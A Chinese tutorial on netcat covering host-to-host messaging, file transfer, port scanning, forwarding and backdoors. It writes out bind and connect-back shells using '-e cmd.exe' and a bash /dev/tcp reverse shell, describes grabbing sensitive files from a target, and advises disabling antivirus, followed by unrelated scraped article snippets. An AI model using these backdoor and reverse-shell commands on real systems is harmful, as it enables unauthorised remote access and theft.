netcat的使用
目录
netcat简介
nc的使用场景
nc实现通信
创建一个服务端
创建一个客户端
具体案例
环境
win10在具体路径下执行命令
win7在具体路径下执行命令
netcat文件传输
nc文件传输的利用
服务器等待接收文件
客户端向服务器发送文件
服务器向连接的客户端发送文件
客户端向服务器接收文件
netcat的信息探测
端口扫描
netcat建立后门
建立监听后门
创建一个服务器端
创建一个客户端
建立连接型后门
创建一个服务端
创建一个客户端
netcat的命令参数介绍
参数
netcat连接转发
前言
连接转发案例
环境配置
win7目标机创建服务
win10内创建脚本文件
kail借助win10连接win7
netcat反弹shell
PC接收netcat命令
linux内反弹shell
netcat简介
在网络中有瑞士军刀美誉的netcat,在我们用了N年后依然爱不释手,这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。
nc下载地址:https://eternallybored.org/misc/netcat/
注意:这里下载的时候会报出包含病毒,关闭杀毒软件忽略即可

nc的使用场景

解释:客户端连接服务器会被防火墙阻止,但是服务器访问客户端不会被防火墙拦截;因此可以把服务器作为nc客户端,客户端电脑作为nc服务端来进行连接
nc实现通信
创建一个服务端
语法:nc -l -p 端口
参数:
- -l:监听模式
- -p:监听的端口
解释:创建一个nc服务端用来监听该服务端端口的连接状态
创建一个客户端
语法:nc 要连接的服务端IP地址 要连接的服务端端口
解释:创建一个客户端用来连接特定服务端
具体案例
环境
- win10客户机:使用桥接模式(IP地址:192.168.1.22)
- win7客户机:使用nat模式(IP地址:192.168.126.155)
注意:win7有网关,处于内网环境,可以连接桥接的win10
win10在具体路径下执行命令

win7在具体路径下执行命令

结果:就可以在命令行相互通信了


netcat文件传输
nc文件传输的利用
- 取证:当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证的误差
- 获取目标机器上的敏感文件:当目标机器上有一些文件内容无法正常下载时,可以利用nc进行文件传输
注意:nc中的数据传输使用的是标准输入、输出流,所以可以直接利用命令来进行操作
服务器等待接收文件
语法:nc -l -p 本地端口 > 服务器本地文件名
解释:将服务器接收的文件内容输出到文件中
客户端向服务器发送文件
语法:nc 服务器IP地址 服务器端口 < 客户端的文件名
解释:将客户端内的具体文件发送到服务器中
服务器向连接的客户端发送文件
语法:nc -l -p 本地端口 < 服务器本地文件名
客户端向服务器接收文件
语法:nc 服务器IP地址 服务器端口 > 文件名
netcat的信息探测
端口扫描
命令:nc -v -n -z -w1 目标IP 起始端口号-中止的端口号
参数
- -v:对错误进行详细的输出
- -n:不对目标机器进行DNS解析
- -z:zero I/O模式,专门用于端口扫描;表示对目标IP发送的数据表中不包含任何的payload,这样做可以加快扫描速度
- -w1:超时设置为1s
banner抓取
语法:echo "" | nc -v -n -w1 目标IP 起始端口-结束端口
注意:通过banner信息就可以获取目标机器上的某些信息(操作系统)
netcat建立后门
前言:netcat的一切数据都是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的建立,并传输结果信息
建立监听后门
创建一个服务器端
语法:nc -l -p 本地端口 -e cmd.exe
注意:-e表示连接之后要返回给连接端对应的程序
创建一个客户端
语法:nc 服务器IP地址 服务器端口
结果:在客户端返回服务端的cmd(linux中使用的是bash)
建立连接型后门
创建一个服务端
语法:nc -l -p 本地端口
创建一个客户端
语法:nc 服务端IP地址 服务端端口 -e cmd.exe
理解:当客户端连接服务器时就会把客户端的cmd返回给服务器
netcat的命令参数介绍
查看nc命令参数:nc -h
参数
- -d:脱离命令行窗口,在后台运行
- -e:执行某个程序,常用于后门建立过程
- -G gateway:设置网关,常用于突破内网限制
- -g num:表示路由的跳数
- -i sec:设置发送每一行数据的时间间隔,单位s
- -l:设置netcat处于监听状态,等待连接
- -L:设置netcat处于监听状态,等待连接(当客户端断开,服务端依旧回到等待状态)
- -n:设置netcat只是识别IP地址,不进行dns解析
- -o:设置传输16进制的数据
- -p:设置本地监听的端口号
- -r:设置netcat随机化的端口号
- -s:用于设置netcat的源地址(用于隐藏自己IP)
- -t:回复telnet的请求数据包
- -u:设置netcat使用udp方式
- -v:显示错误提示信息
- -w secs:用来设置连接超时秒数
- -z:设置扫描模式,表示发送的数据包不包含任何payload
注意:netcat的所有请求默认都是使用TCP协议
netcat连接转发
前言

理解:两台服务器可以互相访问,一台笔记本仅可以与右边的服务器进行相互访问,此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发
连接转发案例
环境配置
- win10物理机:用作转发服务器,IP地址为192.168.1.22
- win7:用作内网服务器,nat模式,IP地址为192.168.126.155
- kail:用作外面客户端,桥接模式
win7目标机创建服务
执行:nc.exe -l -p 2222
win10内创建脚本文件

注意:里面填的是要连接的目的ip与端口(win10必须能够与该服务器相互连接)
执行:nc.exe -l -p 3333 -e delay.bat
理解:连接win10的3333端口就会执行delay.bat脚本文件。
kail借助win10连接win7
执行:nc 192.168.1.22 3333
结果:执行该命令后就会与win7连接
netcat反弹shell
前言:某些情况下拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat就需要此功能
PC接收netcat命令
语法:nc -lvp 本地端口
linux内反弹shell
语法:bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1
解释:
- 在命令行中bash -i表示交互模式运行bash shell。重定向符>&,若在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而若其后是文件,则将bash -i交互模式传递给文件。
- 文件描述符(0:标准输入,1:标准输出,2:错误输入输出)命令中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容
相关文章:
netcat的使用
目录 netcat简介 nc的使用场景 nc实现通信 创建一个服务端 创建一个客户端 具体案例 环境 win10在具体路径下执行命令 win7在具体路径下执行命令 netcat文件传输 nc文件传输的利用 服务器等待接收文件 客户端向服务器发送文件 服务器向连接的客户端发送文件 客户…...
深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用
深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用 在2016年, 随着微软的Deep Crossing, 谷歌的Wide&Deep以及FNN、PNN等一大批优秀的深度学习模型被提出, 推荐系统全面进入了深度学习时代, 时至今日,…...
前端常用 Vue3 项目组件大全
Vue.js 是一种流行的 JavaScript 前端框架,它简化了构建交互式的用户界面的过程。Vue3 是 Vue.js 的最新版本,引入了许多新的特性和改进。在 Vue3 中,组件是构建应用程序的核心部分,它们可以重用、组合和嵌套。下面是一些前端开发…...
javaee spring 静态代理
静态代理 package com.test.staticProxy;public interface IUsersService {public void insert(); }package com.test.staticProxy;//目标类 public class UsersService implements IUsersService {Overridepublic void insert() {System.out.println("添加用户");…...
Java 包装类和Arrays类(详细解释)
目录 包装类 作用介绍 包装类的特有功能 Arrays类 Arrays.fill() Arrays.toString() Arrays.sort() 升序排序 降序排序 Arrays.equals() Arrays.copyOf() Arrays.binarySearch() 包装类 作用介绍 包装类其实就是8种基本数据类型对应的引用类型。 基本数据类型引用…...
elementUi中的el-table表格的内容根据后端返回的数据用不同的颜色展示
效果图如下: 首先 首先:需要在表格行加入 <template slot-scope"{ row }"> </template>标签 <el-table-column prop"usable" align"center" label"状态" width"180" ><templ…...
在访问一个网页时弹出的浏览器窗口,如何用selenium 网页自动化解决?
相信大家在使用selenium做网页自动化时,会遇到如下这样的一个场景: 在你使用get访问某一个网址时,会在页面中弹出如上图所示的弹出框。 首先想到是利用Alert类来处理它。 然而,很不幸,Alert类处理的结果就是没有结果…...
python 基于http方式与基于redis方式传输摄像头图片数据的实现和对比
目录 0. 需求1. 基于http方式传递图片数据1.1 发送图片数据1.2 接收图片数据并可视化1.3 测试 2. 基于redis方式传递图片数据2.1 发送图片数据2.2 接收图片数据并可视化2.3 测试 3. 对比 0. 需求 在不同进程或者不同语言间传递摄像头图片数据,比如从java实现的代码…...
快速使用Git完整开发
本系列有两篇文章: 一是本篇,主要说明了关于Git工具的基础使用,包含三板斧(git add、git commit、git push)、Git基本配置、版本回退、分支管理、公钥与私钥、远端仓库和远端分支、忽略文件、命令别名、标签等内容。二…...
鲁棒优化入门(7)—Matlab+Yalmip两阶段鲁棒优化通用编程指南(下)
0.引言 上一篇博客介绍了使用Yalmip工具箱求解单阶段鲁棒优化的方法。这篇文章将和大家一起继续研究如何使用Yalmip工具箱求解两阶段鲁棒优化(默认看到这篇博客时已经有一定的基础了,如果没有可以看看我专栏里的其他文章)。关于两阶段鲁棒优化与列与约束生成算法的原…...
Docker技术--Docker中的网络问题
1.docker中的网络通信 如果想要弄清楚docker中的网络通信问题,其实需要弄清楚这几个问题就可以:容器与容器之间的通信、容器与外部网络之间的通信、外部网络与容器之间的通信。 -a:容器与容器之间的通信,如下所示: 在默认情况下,docker使用网桥(Bridge模式)与NAT通信。这…...
ASP.NET Core 中的两种 Web API
ASP.NET Core 有两种创建 RESTful Web API 的方式: 基于 Controller,使用完整的基于ControllerBase的基类定义接口endpoints。基于 Minimal APIs,使用Lambda表达式定义接口 endpoints。 基于 Controller 的 Web API 可以使用构造函数注入&a…...
【线程池】如何判断线程池中的任务执行完毕(三)
目录 前言 1. isTerminated()方法 2. awaitTermination()方法 3.getTaskCount()方法和executor.getCompletedTaskCount()方法结合使用 4.使用CountDownlatch类 前言 通常我们使用线程池的时候,系统处于运行的状态,而线程池本身就是主要为了线程复用&…...
Qt/C++编写视频监控系统81-Onvif报警抓图和录像并回放
一、前言 视频监控系统中的图文警情模块,是通过Onvif协议的事件订阅拿到的,通过事件订阅后,设备的各种报警事件比如入侵报警/遮挡报警/越界报警/开关量报警等,触发后都会主动往订阅者发送,而且一般都是会发送两次&…...
浅谈安防视频监控平台EasyCVR视频汇聚平台对于夏季可视化智能溺水安全告警平台的重要性
每年夏天都是溺水事故高发的时期,许多未成年人喜欢在有水源的地方嬉戏,这导致了悲剧的发生。常见的溺水事故发生地包括水库、水坑、池塘、河流、溪边和海边等场所。 为了加强溺水风险的提示和预警,完善各类安全防护设施,并及时发现…...
基于单片机的串行通信发射机设计
一、项目介绍 串行通信是一种常见的数据传输方式,允许将数据以比特流的形式在发送端和接收端之间传输。当前实现基于STC89C52单片机的串行通信发射机,通过红外发射管和接收头实现自定义协议的数据无线传输。 二、系统设计 2.1 单片机选择 在本设计中&…...
MySQL数据库——多表查询(3)-自连接、联合查询、子查询
目录 自连接 查询语法 自连接演示 联合查询 查询语法 子查询 介绍 标量子查询 列子查询 行子查询 表子查询 自连接 通过前面的学习,我们对于连接已经有了一定的理解。而自连接,通俗地去理解就是自己连接自己,即一张表查询多次。…...
day53 动规.p14 子序列
- 1143.最长公共子序列 cpp class Solution { public: int longestCommonSubsequence(string text1, string text2) { vector<vector<int>> dp(text1.size() 1, vector<int>(text2.size() 1, 0)); for (int i 1; i < text1.size(…...
将docker打包成镜像并保存到本地
如果想重装系统,又不想破坏docker里面配好的环境,那么可以将docker镜像打包到本地进行保存。 1. 将docker打包成镜像 命令:docker commit 容器id 镜像名:tag 使用docker ps -a即可查看容器相关信息 docker commit dd25c7c6bf17 zm_cu101:c…...
Harmony数据存储工具类
使用的是mmkv 1、安装mmkv ohpm install @ohos/mmkv2、封装 import{MMKV, SerializeBase} from @ohos/mmkv/*** 数据存储工具类*/ class MMKVUtil{private filePath:string = private cachePath:string = private mmkv:MMKVprivate mmapID:string="MMKV"construct…...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议(EPSFD 2025)将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会,EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...
MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
Nginx server_name 配置说明
Nginx 是一个高性能的反向代理和负载均衡服务器,其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机(Virtual Host)。 1. 简介 Nginx 使用 server_name 指令来确定…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...
